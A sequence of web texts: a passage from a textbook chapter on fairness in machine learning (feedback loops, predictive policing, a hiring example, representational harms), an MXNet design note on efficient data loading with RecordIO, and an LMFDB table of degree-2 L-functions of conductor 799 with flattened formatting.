But feedback is tricky to interpret correctly. If a user clicked on the first link on a page of search results, is that simply because it was first, or because it was in fact the most relevant? This is again a case of the action (the ordering of search results) affecting the outcome (the link(s) the user clicks on). This is an active area of research; there are techniques that aim to learn accurately from this kind of biased feedback.Thorsten Joachims, Adith Swaminathan, and Tobias Schnabel, “Unbiased Learning-to-Rank with Biased Feedback,” in Proceedings of the Tenth Acm International Conference on Web Search and Data Mining (ACM, 2017), 781–89.
Bias in feedback might also reflect cultural prejudices, which is of course much harder to characterize than the effects of the ordering of search results. For example, the clicks on the targeted ads that appear alongside search results might reflect gender and racial stereotypes. There’s a well-known study that hints at this: Google searches for black-sounding names such as “Latanya Farrell” were much more likely to results in ads for arrest records (“Latanya Farrell, Arrested?”) than searches for white-sounding names (“Kristen Haring”).Latanya Sweeney, “Discrimination in Online Ad Delivery,” Queue 11, no. 3 (March 2013): 10:10–10:29, https://doi.org/10.1145/2460276.2460278.
One potential explanation is that users are more likely to click on ads that conform to stereotypes, and the advertising system is optimized for maximizing clicks.
In other words, even feedback that’s designed into systems can lead to unexpected or undesirable biases. But there are many unintended ways in which feedback might arise, and these are more pernicious and harder to control. Let’s look at three.
Self-fulfilling predictions. Suppose a predictive policing system determines certain areas of a city to be at high risk for crime. More police officers might be deployed to such areas. Alternatively, officers in areas predicted to be high risk might be subtly lowering their threshold for stopping, searching, or arresting people—perhaps even unconsciously. Either way, the prediction will appear to be validated, even if it had been made purely based on data biases.
Here’s another example of how acting on a prediction can change the outcome. In the United States, some criminal defendants are released prior to trial, whereas for others, a bail amount is set as a precondition of release. Many defendants are unable to post bail. Does the release or detention affect the outcome of the case? Perhaps defendants who are detained face greater pressure to plead guilty. At any rate, how could one possibly test the causal impact of detention without doing an experiment? Intriguingly, we can take advantage of a pseudo-experiment, namely that defendants are assigned bail judges quasi-randomly, and some judges are stricter than others. Thus, pre-trial detention is partially random, in a quantifiable way. Studies using this technique have confirmed that detention indeed causes an increase in the likelihood of a conviction.Will Dobbie, Jacob Goldin, and Crystal Yang, “The Effects of Pre-Trial Detention on Conviction, Future Crime, and Employment: Evidence from Randomly Assigned Judges” (National Bureau of Economic Research, 2016).
If bail were set based on risk predictions, whether human or algorithmic, and we evaluated its efficacy by examining case outcomes, we would see a self-fulfilling effect.
Predictions that affect the training set. Continuing this example, predictive policing activity will leads to arrests, records of which might be added to the algorithm’s training set. These areas might then continue to appear to be at high risk of crime, and perhaps also other areas with a similar demographic composition, depending on the feature set used for predictions. The biases might even compound over time.
A 2016 paper analyzed a predictive policing algorithm by PredPol, one of the few to be published in a peer-reviewed journal.PredPol deserves praise for publicly releasing their algorithm, without which this research would not even have been possible.
By applying it to data derived from Oakland police records, they found that black people would be targeted for predictive policing of drug crimes at roughly twice the rate of whites, even though the two groups have roughly equal rates of drug use.Kristian Lum and William Isaac, “To Predict and Serve?” Significance 13, no. 5 (2016): 14–19.
Their simulation showed that this initial bias would be amplified by a feedback loop, with policing increasingly concentrated on targeted areas. This is despite the fact that the PredPol algorithm does not explicitly take demographics into account.
A more recent paper built on this idea and showed mathematically how feedback loops occur when data discovered on the basis of predictions are used to update the model.Danielle Ensign et al., “Runaway Feedback Loops in Predictive Policing,” arXiv Preprint arXiv:1706.09847, 2017.
The paper also shows how to tweak the model to avoid feedback loops: by quantifying how surprising an observation of crime is given the predictions, and only updating the model in response to surprising events.
Predictions that affect the phenomenon and society at large. Prejudicial policing on a large scale, algorithmic or not, will affect society over time, contributing to the cycle of poverty and crime. This is an extremely well-trodden thesis, and we’ll briefly review the sociological literature on durable inequality and the persistence of stereotypes in Chapter 3.
Let us remind ourselves that we deploy machine learning so that we can act on its predictions. It is hard to even conceptually eliminate the effects of predictions on outcomes, future training sets, the phenomena themselves, or society at large. The more central machine learning becomes in our lives, the stronger this effect.
Returning to the example of a search engine, in the short term it might be possible to extract an unbiased signal from user clicks, but in the long run, results that are returned more often will be linked to and thus rank more highly. As a side effect of fulfilling its purpose of retrieving relevant information, a search engine will necessarily change the very thing that it aims to measure, sort, and rank. Similarly, most machine learning systems will affect the phenomena that they predict. This is why we’ve depicted the machine learning process as a loop.
Throughout this book we’ll learn methods for mitigating societal biases in machine learning, but let us pause to consider that there are fundamental limits to what we can achieve, especially when we consider machine learning as a socio-technical system instead of a mathematical abstraction. The textbook model of training and test data being independent and identically distributed is a simplification, and might be unachievable in practice.
# Getting concrete with a toy example
Now let’s look at a concrete setting, albeit a toy problem, to illustrate many of the ideas discussed so far, and some new ones.
Let’s say you’re on a hiring committee, making decisions based on just two attributes of each applicant: their college GPA and their interview score (we did say it’s a toy problem!). We formulate this as a machine-learning problem: the task is to use these two variables to predict some measure of the “quality” of an applicant. For example, it could be based on the average performance review score after two years at the company. We’ll assume we have data from past candidates that allows us to train a model to predict performance scores based on GPA and interview score.
Obviously, this is a reductive formulation—we’re assuming that an applicant’s worth can be reduced to a single number, and that we know how to measure that number. This is a valid criticism, and applies to most applications of data-driven decision-making today. But it has one big advantage: once we do formulate the decision as a prediction problem, statistical methods tend to do better than humans, even domain experts with years of training, in making decisions based on noisy predictors. The subject has been well researched, and we’ll study it in Chapter 3.
Given this formulation, the simplest thing we can do is to use linear regression to predict the average job performance rating from the two observed variables, and then use a cutoff based on the number of candidates we want to hire. The figure above shows what this might look like. In reality, the variables under consideration need not satisfy a linear relationship, thus suggesting the use of a non-linear model, which we avoid for simplicity.
As you can see in the figure, our candidates fall into two demographic groups, represented by triangles and squares.This binary categorization is a simplification for the purposes of our thought experiment. Such simplifications are also common in the research literature. Indeed, most proposed fairness interventions themselves start by assuming such a categorization. But when building real systems, enforcing rigid categories of people can be ethically questionable. This is not specific to machine learning, and a similar tension arises in many data-driven settings, such as the checkboxes for race on census forms or employment applications.
Note that the classifier didn’t take into account which group a candidate belonged to. Does this mean that the classifier is fair? We might hope that it is, based on the fairness-as-blindness idea, symbolized by the icon of Lady Justice wearing a blindfold. In this view, an impartial model—one that doesn’t use the group membership in the regression—is fair; a model that gives different scores to otherwise-identical members of different groups is discriminatory.
We’ll defer a richer understanding of what fairness means to Chapter 3, so let’s ask a simpler question: are candidates from the two groups equally likely to be positively classified? The answer is no: the triangles are more likely to be selected than the squares. That’s because data is a social mirror; the “ground truth” labels that we’re predicting—job performance ratings—are systematically lower for the squares than the triangles.
There are many possible reasons for this disparity. First, the managers who score the employees’ performance might have a bias against one group. Or the overall workplace might be biased against one group, preventing them from reaching their potential and leading to lower performance. Alternately, the disparity might originate before the candidates were hired. For example, it might arise from disparities in educational institutions attended by the two groups. Or there might be intrinsic differences between them. Of course, it might be a combination of these factors. We can’t tell from our data how much of the disparity is attributable to these different factors. In general, such a determination is methodologically hard, and requires causal reasoning.Junzhe Zhang and Elias Bareinboim, “Fairness in Decision-Making — the Causal Explanation Formula,” Proceedings of the ... AAAI Conference on Artificial Intelligence, January 2018, http://par.nsf.gov/biblio/10060701.
For now, let’s assume that we have evidence that the level of demographic disparity produced by our selection procedure is unjustified, and we’re interested in intervening to decrease it. How could we do it? We observe that GPA is correlated with the demographic attribute—it’s a proxy. Perhaps we could simply omit that variable as a predictor? Unfortunately, we’d also cripple the accuracy of our model. In real datasets, most attributes tend to be proxies for demographic variables, and dropping them may not be a reasonable option.
Another crude approach is to pick different cutoffs so that candidates from both groups have the same probability of being hired. Or we could mitigate the demographic disparity instead of eliminating it, by decreasing the difference in the cutoffs.
Given the available data, there is no mathematically principled way to know which cutoffs to pick. In some situations there is a legal baseline: for example, guidelines from the U.S. Equal Employment Opportunity Commission state that if the probability of selection for two groups differs by more than 20%, it might constitute a sufficient disparate impact to initiate a lawsuit. But a disparate impact alone is not illegal; the disparity needs to be unjustified or avoidable for courts to find liability. Even these quantitative guidelines do not provide easy answers or bright lines.
At any rate, the pick-different-thresholds approach to mitigating disparities seems unsatisfying. It is no longer blind, and two candidates with the same observable attributes may receive different decisions depending on which group they are in.
But there are other possible interventions, and we’ll discuss one. To motivate it, let’s take a step back and ask why the company wants to decrease the demographic disparity in hiring.
One answer is rooted in justice to individuals and the specific social groups to which they belong. But a different answer comes from the firm’s selfish interests: diverse teams work better.David Rock and Heidi Grant, “Why Diverse Teams Are Smarter” (Harvard Business Review. https://hbr.org/2016/11/why-diverse-teams-are-smarter, 2016).
From this perspective, increasing the diversity of the cohort that is hired would benefit the firm and everyone in the cohort.
How do we operationalize diversity in a selection task? If we had a distance function between pairs of candidates, we could measure the average distance between selected candidates. As a strawman, let’s say we use the Euclidean distance based on the GPA and interview score. If we incorporated such a diversity criterion into the objective function, it would result in a model where the GPA is weighted less. This technique has the advantage of being blind: we didn’t explicitly consider the group membership, but as a side-effect of insisting on diversity of the other observable attributes, we have also improved demographic diversity. However, a careless application of such an intervention can easily go wrong: for example, the model might give weight to attributes that are completely irrelevant to the task.
More generally, there are many possible algorithmic interventions beyond picking different thresholds for different groups. In particular, the idea of a similarity function between pairs of individuals is a powerful one, and we’ll see other interventions that make use of it. But coming up with a suitable similarity function in practice isn’t easy: it may not be clear which attributes are relevant, how to weight them, and how to deal with correlations between attributes.
# Other ethical considerations
So far we’ve been mostly concerned with ethical concerns that arise from demographic disparities in the outputs of machine learning systems. But a few other types of concerns are worth highlighting.
## Predictions versus interventions
Fairly rendered decisions under unfair circumstances may do little to improve people’s lives. In many cases, we cannot achieve any reasonable notion of fairness through changes to decision-making alone; we need to change the conditions under which these decisions are made.
Let’s return to the hiring example above. When using machine learning to make predictions about how someone might fare in a specific workplace or occupation, we tend to treat the environment that people will confront in these roles as a constant and ask how people’s performance will vary according to their observable characteristics. In other words, we treat the current state of the world as a given, leaving us to select the person who will do best under these circumstances. This approach risks overlooking more fundamental changes that we could make to the workplace (culture, family friendly policies, on-the-job training) that might make it a more welcoming and productive environment for people that have not flourished under previous conditions.Solon Barocas, “Putting Data to Work,” in Data and Discrimination: Collected Essays, ed. Seeta Peña Gangadharan Virginia Eubanks and Solon Barocas (New America Foundation, 2014), 59–62.
The tendency with work on fairness in machine learning is to ask whether an employer is using a fair selection process, even though we might have the opportunity to intervene in the workplace dynamics that actually account for differences in predicted outcomes along the lines of race, gender, disability, and other characteristics.J. W. Jackson and T. J. VanderWeele, “Decomposition analysis to identify intervention targets for reducing disparities,” ArXiv E-Prints, March 2017.
We can learn a lot from the so-called social model of disability, which views a predicted difference in a disabled person’s ability to excel on the job as the result of a lack of appropriate accommodations (an accessible workplace, necessary equipment, flexible working arrangements) rather than any inherent capacity of the person himself. A person is only disabled in the sense that we have not built physical environments or adopted appropriate policies to ensure their equal participation.
The same might be true of people with other characteristics, and changes to the selection process alone will not help us address the fundamental injustice of conditions that keep certain people from contributing as effectively as others.
## Accuracy
Accuracy is an underappreciated ethical issue. The reason that it doesn’t get much attention in the technical literature is that we assume a setting where a decision maker has some notion of utility, which is almost always directly connected to maximizing accuracy. For example, a bank deciding who should receive a loan might use data to predict whether the recipient will pay it back; they would like to minimize both types of errors—false positives and false negatives—as they would lose money with false positives and forego potential profits with false negatives. Thus, machine learning problems are already framed in terms of maximizing accuracy, and the literature often talks about the accuracy-fairness trade-off.
Yet there are two reasons to separately consider accuracy as a criterion for responsible machine learning. We’re already discussed one of these: errors might be unequally distributed between demographic groups, and a utility-maximizing decision maker might not take this into account.
The other, related reason is that whether to deploy the automated decision-making system at all is often a debate to be had, and one that we’re not comfortable leaving to the logic (and whims) of the marketplace. Two such debates recently: should police use of facial recognition technology be regulated, and now?Clare Garvie, Alvaro Bedoya, and Jonathan Frankle, “The Perpetual Line-up,” Georgetown Law: Center on Privacy and Technology., 2016.
This is not to say that accuracy is the sole criterion in determining the acceptability of police use of facial recognition. Rather, the primary concerns are about civil liberties and the unaccountability of police power.
What can go wrong with the use of DNA testing as a forensic tool? Understanding the error rate as well as the nature of errors of these technologies is critical to an informed debate.
At the same time, debating the merits of these technologies on the basis of their likely accuracy for different groups may distract from a more fundamental question: should we ever deploy such systems, even if they perform equally well for everyone? We may want to regulate the police’s access to such tools, even if the tools are perfectly accurate. Our civil rights—freedom or movement and association—are equally threatened by these technologies when they fail and when they work well.
## Diversity
Diversity is a bit of a catch-all term. It is a criterion in selection systems, such as in the hiring example above. Another context in which we might care about diversity is in the construction of training datasets for machine learning that are representative of the world. Let’s discuss two more.
In information systems, low diversity can lead to a narrowing of opportunity. For example, one reason that students from poor backgrounds don’t go to selective colleges is that they are simply unaware that the opportunity is available to them.Eleanor Wiske Dillon and Jeffrey Andrew Smith, “The Determinants of Mismatch Between Students and Colleges” (National Bureau of Economic Research, 2013); Ozan Jaquette and Karina Salazar, “Opinion | Colleges Recruit at Richer, Whiter High Schools - the New York Times” (https://www.nytimes.com/interactive/2018/04/13/opinion/college-recruitment-rich-white.html, 2018).
Online search and ads are valuable avenues for mitigating this problem; yet, doing so requires swimming against the current of targeting of ads (and sometimes searches) based on algorithmic profiling of users. There is evidence that ad targeting sometimes narrows opportunities in this way.Amit Datta, Michael Carl Tschantz, and Anupam Datta, “Automated Experiments on Ad Privacy Settings,” Proceedings on Privacy Enhancing Technologies 2015, no. 1 (2015): 92–112.
A related concern arises in personalization systems: the infamous filter bubble.Eli Pariser, The Filter Bubble: What the Internet Is Hiding from You (Penguin UK, 2011).
This is the idea that when algorithmic systems learn our past activities to predict what we might click on, they feed us information that conforms to our existing views. Note that individual users may like the filter bubble—indeed, research suggests that our own choices result in a narrowing of what we consume online, compared to algorithmic recommendationsEytan Bakshy, Solomon Messing, and Lada A Adamic, “Exposure to Ideologically Diverse News and Opinion on Facebook,” Science 348, no. 6239 (2015): 1130–2.
—but the worry is that an ideologically segregated populace may not be conducive to a functioning democracy. The filter bubble is a concern for search engines, news websites, and social media; the relevant machine learning techniques include information retrieval and collaborative filtering.
## Stereotype perpetuation and cultural denigration
Image search results for occupation terms such as CEO or software developer reflect (and arguably exaggerate) the prevailing gender composition and stereotypes about those occupations.Matthew Kay, Cynthia Matuszek, and Sean A Munson, “Unequal Representation and Gender Stereotypes in Image Search Results for Occupations,” in Proceedings of the 33rd Annual Acm Conference on Human Factors in Computing Systems (ACM, 2015), 3819–28.
Should we care about such disparities in image search results? After all, these results don’t affect hiring or any other consequential decisions. And what are the harms from gender stereotypes in online translation? These and other examples that are disturbing to varying degrees—such as Google’s app labeling photos of black Americans as “gorillas”, or offensive results in autocomplete—seem to fall into a different moral category than, say, a discriminatory system used in criminal justice, which has immediate and tangible consequences.
A recent talk lays out the differences.Kate Crawford, “The Trouble with Bias” (NIPS Keynote https://www.youtube.com/watch?v=fMym_BKWQzk, 2017).
When decision-making systems in criminal justice, health care, etc. are discriminatory, they create allocative harms, which are caused when a system withholds certain groups an opportunity or a resource. In contrast, the other examples—stereotype perpetuation and cultural denigration—are examples of representational harms, which occur when systems reinforce the subordination of some groups along the lines of identity—race, class, gender, etc.
Allocative harms have received much attention both because their effects are immediate, and because they are easier to formalize and study in computer science and in economics. Representational harms have long-term effects, and resist formal characterization. But as machine learning becomes a bigger part of how we make sense of the world—through technologies such as search, translation, voice assistants, and image labeling—representational harms will leave an imprint on our culture, and influence identity formation and stereotype perpetuation. Thus, these are critical concerns for the fields of natural language processing and computer vision.
# Our outlook: limitations and opportunities
We’ve seen how machine learning propagates inequalities in the state of the world through the stages of measurement, learning, action, and feedback. Machine learning systems that affect people are best thought of as closed loops, since the actions we take based on predictions in turn affect the state of the world. One major goal of fair machine learning is to develop an understanding of when these disparities are harmful, unjustified, or otherwise unacceptable, and to develop interventions to mitigate such disparities.
There are fundamental challenges and limitations to this goal. Unbiased measurement might be infeasible even in principle, as we’ve seen through examples. There are additional practical limitations arising from the fact that the decision maker is typically not involved in the measurement stage. Further, observational data can be insufficient to identify the causes of disparities, which is needed in the design of meaningful interventions and in order to understand the effects of intervention. Most attempts to “debias” machine learning in the current research literature assume simplistic mathematical systems, often ignoring the effect of algorithmic interventions on individuals and on the long-term state of society.
Despite these important limitations, there are reasons to be cautiously optimistic about fairness and machine learning. First, data-driven decision-making has the potential to be more transparent compared to human decision-making. It forces us to articulate our decision-making objectives and enables us to clearly understand the tradeoffs between desiderata. However, there are challenges to overcome to achieve this potential for transparency. One challenge is improving the interpretability and explainability of modern machine learning methods, which is a topic of vigorous ongoing research. Another challenge is the proprietary nature of datasets and systems that are crucial to an informed public debate on this topic. Many commentators have called for a change in the status quo.Dillon Reisman et al., “Algorithmic Impact Assessments: A Practical Framework for Public Agency Accountability” (https://ainowinstitute.org/aiareport2018.pdf, 2018).
Second, effective interventions do exist in many machine learning applications, especially in natural-language processing and computer vision. Tasks in these domains (say, transcribing speech) are subject to less inherent uncertainty than traditional decision-making (say, predicting if a loan applicant will repay), removing some of the statistical constraints that we’ll study in Chapter 2.
Our final and most important reason for optimism is that the turn to automated decision-making and machine learning offers an opportunity to reconnect with the moral foundations of fairness. Algorithms force us to be explicit about what we want to achieve with decision-making. And it’s far more difficult to paper over our poorly specified or true intentions when we have to state these objectives formally. In this way, machine learning has the potential to help us debate the fairness of different policies and decision-making procedures more effectively.
We should not expect work on fairness in machine learning to deliver easy answers. And we should be suspicious of efforts that treat fairness as something that can be reduced to an algorithmic stamp of approval. At its best, this work will make it far more difficult to avoid the hard questions when it comes to debating and defining fairness, not easier. It may even force us to confront the meaningfulness and enforceability of existing approaches to discrimination in law and policy,Barocas and Selbst, “Big Data’s Disparate Impact.”
expanding the tools at our disposal to reason about fairness and seek out justice.
We hope that this book can play a small role in stimulating this nascent interdisciplinary inquiry.
# Bibliographic notes and further reading
For an introduction to statistical learning, we recommend the textbook by Hastie, Tibshirani, and Friedman.Trevor Hastie, Robert Tibshirani, and Jerome Friedman, The Elements of Statistical Learning (Springer, 2009).
It is available for download online. An excellent textbook by WassermanLarry Wasserman, All of Statistics: A Concise Course in Statistical Inference (Springer, 2010).
also provides much useful technical background.
This chapter draws from several taxonomies of biases in machine learning and data-driven decision-making: a blog post by Moritz Hardt,Hardt, “How Big Data Is Unfair.”
a paper by Barocas and Selbst,Barocas and Selbst, “Big Data’s Disparate Impact.”
and a 2016 report by the White House Office of Science and Technology Policy.Cecilia Munoz, Megan Smith, and D Patil, “Big Data: A Report on Algorithmic Systems, Opportunity, and Civil Rights,” Executive Office of the President. The White House, 2016.
For a broad survey of challenges raised by AI, machine learning, and algorithmic systems, see the AI Now report.Alex Campolo et al., “AI Now 2017 Report,” AI Now Institute at New York University, 2017.
An early work that investigated fairness in algorithmic systems is by Friedman and Nissenbaum in 1996.Batya Friedman and Helen Nissenbaum, “Bias in Computer Systems,” ACM Transactions on Information Systems (TOIS) 14, no. 3 (1996): 330–47.
Papers studying demographic disparities in classification began appearing regularly starting in 2008;Dino Pedreshi, Salvatore Ruggieri, and Franco Turini, “Discrimination-Aware Data Mining,” in Proc. $$14$$th Acm Sigkdd, 2008.
the locus of this research was in Europe, and in the data mining research community. With the establishment of the FAT/ML workshop in 2014, a new community emerged, and the topic has since grown in popularity. Several popular-audience books have delivered critiques of algorithmic systems in modern society.Frank Pasquale, The Black Box Society: The Secret Algorithms That Control Money and Information (Harvard University Press, 2015); Cathy O’Neil, Weapons of Math Destruction: How Big Data Increases Inequality and Threatens Democracy (Broadway Books, 2016); Virginia Eubanks, Automating Inequality: How High-Tech Tools Profile, Police, and Punish the Poor (St. Martin’s Press, 2018); Safiya Umoja Noble, Algorithms of Oppression: How Search Engines Reinforce Racism (NYU Press, 2018).
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Garvie, Clare, Alvaro Bedoya, and Jonathan Frankle. “The Perpetual Line-up.” Georgetown Law: Center on Privacy and Technology., 2016.
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Last updated: Tue Sep 4 14:14:54 PDT 2018
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2018-10-19 15:27:34
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https://mxnet.incubator.apache.org/versions/1.1.0/architecture/note_data_loading.html
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# Designing Efficient Data Loaders for Deep Learning¶
Data loading is an important component of any machine learning system. When we work with tiny datasets, we can get away with loading an entire dataset into GPU memory. With larger datasets, we must store examples in main memory. And when datasets grow too large to fit into main memory, data loading can become performance-critical. In designing a data loader, we aim to achieve more efficient data loading, to spend less effort on data preparation, and to present a clean and flexible interface.
We organize this design note as follows:
• Data Format: Our solution using dmlc-core’s binary recordIO implementation.
• Data Loading: Our method to reduce IO cost by utilizing the threaded iterator provided by dmlc-core.
• Interface Design: Our approach to facilitate writing MXNet data iterators in just a few lines of Python.
Our analysis will motivate several requirements that an effective IO system should fulfill.
List of Key Requirements
• Small file size.
• Parallel (distributed) packing of data.
• Quick reads from arbitrary parts of the dataset in the distributed setting.
To design an IO system, we must address two kinds of tasks: data preparation and data loading. Data preparation is usually performed offline, whereas data loading influences the online performance. In this section, we will introduce our insight of IO design involving the two phases.
### Data Preparation¶
Data preparation describes the process of packing data into a desired format for later processing. When working with large datasets like ImageNet, this process can be time-consuming. In these cases, there are several heuristics we ought to follow:
• Pack the dataset into small numbers of files. A dataset may contain millions of data instances. Packed data distributes easily from machine to machine.
• Do the packing once. We don’t want to repack data every time run-time settings, like the number of machines, are changed.
• Process the packing in parallel to save time.
• Be able to access arbitrary parts of the data easily. This is crucial for distributed machine learning when data parallelism is introduced. Things may get tricky when the data has been packed into several physical data files. The desired behavior could be: the packed data can be logically separated into arbitrary numbers of partitions, no matter how many physical data files there are. For example, if we pack 1000 images into 4 physical files, then each file contains 250 images. If we then use 10 machines to train a DNN, we should be able to load approximately 100 images per machine. Some machines may need images from different physical files.
The next step to consider is how to load the packed data into RAM. Our goal is to load the data as quickly as possible. There are several heuristics we try to follow:
• Reduce the bytes to be loaded: We can achieve this by storing data in a compact way, e.g. saving images in JPEG format.
• Save RAM: Judiciously decide whether to load entire files into RAM.
## Data Format¶
Since the training of deep neural network often involves large amounts of data, the format we choose should be both efficient and convenient. To achieve our goals, we need to pack binary data into a splittable format. In MXNet, we rely on the binary recordIO format implemented in dmlc-core.
### Binary Record¶
In MXNet’s binary RecordIO, we store each data instance as a record. kMagic is a magic number indicating the start of a record. Lrecord encodes length and a continue flag. In lrecord,
• cflag == 0: this is a complete record
• cflag == 1: start of a multiple-records
• cflag == 2: middle of multiple-records
• cflag == 3: end of multiple-records
Data is the space to save data content. Pad is simply a padding space to make record align to 4 bytes.
After we pack the data, each file contains multiple records. Then, loading can be continuous. This avoids the low performance that can result from reading random locations on disk.
One advantage of storing data via records is that each record can vary in length. This allows us to save data compactly when good compression algorithms are available for our data. For example, we can use JPEG format to save image data. The packed data will be much smaller compared with storing uncompressed RGB values for each pixel.
Take ImageNet_1K dataset as an example. If we store the data as 3 * 256 * 256 array of raw RGB values, the dataset would occupy more than 200G. But after compressing the images using JPEG, they only occupy about 35G of disk space. This significantly reduces the cost owing to reading from disk.
Here’s an example of binary recordIO: We first resize the image into 256 * 256, then compress into JPEG format. After that, we save a header that indicates the index and label for that image to be used when constructing the Data field for that record. We then pack several images together into a file.
### Access Arbitrary Parts Of Data¶
One desirable property for a data loader might be: The packed data can be logically sliced into an arbitrary number of partitions, no matter how many physical packed data files there are. Since binary recordIO can easily locate the start and end of a record using the Magic Number, we can achieve the above goal using the InputSplit functionality provided by dmlc-core.
InputSplit takes the following parameters:
• FileSystem filesys: dmlc-core wrapper around the IO operations for different file systems, like hdfs, s3, local. User shouldn’t need to worry about the difference between file systems anymore.
• Char uri: The URI of files. Note that it could be a list of files because we may pack the data into several physical parts. File URIs are separated by ‘;’.
• Unsigned nsplit: The number of logical splits. nsplit could be different from the number of physical files.
• Unsigned rank: Which split to load in this process.
The splitting process is demonstrated below:
• Determine the size of each partition.
• Approximately partition the records according to file size. Note that the boundary of each part may be located in the middle of a record.
• Set the beginning of partitions in such a way as to avoid splitting records across partitions.
By conducting the above operations, we now identify the records belong to each part, and the physical data files needed by each logical part. InputSplit greatly simplifies data parallelism, where each process only reads part of the data.
Since our partitioning scheme does not depend on the number of physical data files, we can process a huge dataset like ImageNet_22K in parallel fashion as illustrated below. We don’t need to consider distributed loading issue at the preparation time, just select the most efficient physical file number according to the dataset size and computing resources available.
When the speed of loading and preprocessing can’t keep up with the speed of training or evaluation, IO can bottleneck the speed of the whole system. In this section, we will introduce a few tricks to achieve greater efficiency when loading and preprocessing data packed in binary recordIO format. When applied to the ImageNet dataset, our approach achieves the IO speed of 3000 images/sec with a normal HDD.
When training deep neural networks, we sometimes must load and preprocess the data while simultaneously training for the following reasons:
• When the whole size of the dataset exceeds available RAM size, we can’t load it in advance;
• Sometimes, to make models robust to things like translations, rotations, and small amounts of color shift of noise, we introduce randomness into the training process. In these cases we must re-preprocess the data each time we revisit an example.
In service of efficiency, we also address multi-threading techniques. Taking Imagenet training as an example, after loading a bunch of image records, we can start multiple threads to simultaneously perform image decoding and image augmentation. We depict this process in the following illustration:
### Hide IO Cost Using Threadediter¶
One way to lower IO cost is to pre-fetch the data for next batch on one thread, while the main thread performs the forward and backward passes for training. To support more complicated training schemes, MXNet provides a more general IO processing pipeline using threadediter provided by dmlc-core. The key of threadediter is to start a stand-alone thread that acts as a data provider, while the main thread acts as a data consumer as illustrated below.
The threadediter maintains a buffer of a certain size and automatically fills the buffer when it’s not full. And after the consumer finishes consuming part of the data in the buffer, threadediter will reuse the space to save the next part of data.
## MXNet IO Python Interface¶
We make the IO object as an iterator in numpy. By achieving that, the user can easily access the data using a for-loop or calling next() function. Defining a data iterator is very similar to defining a symbolic operator in MXNet.
The following example code demonstrates a Cifar data iterator.
dataiter = mx.io.ImageRecordIter(
# Dataset Parameter, indicating the data file, please check the data is already there
path_imgrec="data/cifar/train.rec",
# Dataset Parameter, indicating the image size after preprocessing
data_shape=(3,28,28),
# Batch Parameter, tells how many images in a batch
batch_size=100,
# Augmentation Parameter, when offers mean_img, each image will subtract the mean value at each pixel
mean_img="data/cifar/cifar10_mean.bin",
# Augmentation Parameter, randomly crop a patch of the data_shape from the original image
rand_crop=True,
# Augmentation Parameter, randomly mirror the image horizontally
rand_mirror=True,
# Augmentation Parameter, randomly shuffle the data
shuffle=False,
# Backend Parameter, preprocessing thread number
# Backend Parameter, prefetch buffer size
prefetch_buffer=1)
Generally, to create a data iterator, you need to provide five kinds of parameters:
• Dataset Param: Information needed to access the dataset, e.g. file path, input shape.
• Batch Param: Specifies how to form a batch, e.g. batch size.
• Augmentation Param: Which augmentation operations (e.g. crop, mirror) should be taken on an input image.
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2018-07-23 13:39:18
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https://www.lmfdb.org/L/2/799/799.563
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## Results (1-50 of at least 1000)
Next
Label $\alpha$ $A$ $d$ $N$ $\chi$ $\mu$ $\nu$ $w$ prim arith $\mathbb{Q}$ self-dual $\operatorname{Arg}(\epsilon)$ $r$ First zero Origin
2-799-799.140-c0-0-0 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.140 $$0.0 0 0.444 0 1.06632 Modular form 799.1.e.b.140.3 2-799-799.140-c0-0-1 0.631 0.398 2 17 \cdot 47 799.140$$ $0.0$ $0$ $0.0444$ $0$ $1.50021$ Modular form 799.1.e.b.140.2
2-799-799.140-c0-0-2 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.140 $$0.0 0 0.244 0 1.81084 Modular form 799.1.e.b.140.1 2-799-799.140-c0-0-3 0.631 0.398 2 17 \cdot 47 799.140$$ $0.0$ $0$ $-0.155$ $0$ $1.83704$ Modular form 799.1.e.b.140.4
2-799-799.140-c0-0-4 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.140 $$0.0 0 -0.355 0 3.19389 Modular form 799.1.e.a.140.1 2-799-799.234-c0-0-0 0.631 0.398 2 17 \cdot 47 799.234$$ $0.0$ $0$ $-0.244$ $0$ $0.608004$ Modular form 799.1.e.b.234.3
2-799-799.234-c0-0-1 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.234 $$0.0 0 0.355 0 0.974320 Modular form 799.1.e.a.234.1 2-799-799.234-c0-0-2 0.631 0.398 2 17 \cdot 47 799.234$$ $0.0$ $0$ $0.155$ $0$ $1.74748$ Modular form 799.1.e.b.234.2
2-799-799.234-c0-0-3 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.234 $$0.0 0 -0.0444 0 1.81603 Modular form 799.1.e.b.234.4 2-799-799.234-c0-0-4 0.631 0.398 2 17 \cdot 47 799.234$$ $0.0$ $0$ $-0.444$ $0$ $2.33726$ Modular form 799.1.e.b.234.1
2-799-799.281-c0-0-0 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.281 $$0.0 0 -0.332 0 1.22427 Modular form 799.1.h.b.281.2 2-799-799.281-c0-0-1 0.631 0.398 2 17 \cdot 47 799.281$$ $0.0$ $0$ $0.267$ $0$ $1.48238$ Modular form 799.1.h.b.281.1
2-799-799.281-c0-0-2 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.281 $$0.0 0 0.0675 0 1.55137 Modular form 799.1.h.b.281.3 2-799-799.281-c0-0-3 0.631 0.398 2 17 \cdot 47 799.281$$ $0.0$ $0$ $-0.132$ $0$ $1.84847$ Modular form 799.1.h.a.281.1
2-799-799.281-c0-0-4 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.281 $$0.0 0 0.467 0 2.88335 Modular form 799.1.h.b.281.4 2-799-799.563-c0-0-0 0.631 0.398 2 17 \cdot 47 799.563$$ $0.0$ $0$ $-0.267$ $0$ $0.338365$ Modular form 799.1.h.b.563.1
2-799-799.563-c0-0-1 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.563 $$0.0 0 -0.467 0 1.12032 Modular form 799.1.h.b.563.4 2-799-799.563-c0-0-2 0.631 0.398 2 17 \cdot 47 799.563$$ $0.0$ $0$ $-0.0675$ $0$ $2.03377$ Modular form 799.1.h.b.563.3
2-799-799.563-c0-0-3 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.563 $$0.0 0 0.332 0 2.15295 Modular form 799.1.h.b.563.2 2-799-799.563-c0-0-4 0.631 0.398 2 17 \cdot 47 799.563$$ $0.0$ $0$ $0.132$ $0$ $2.27441$ Modular form 799.1.h.a.563.1
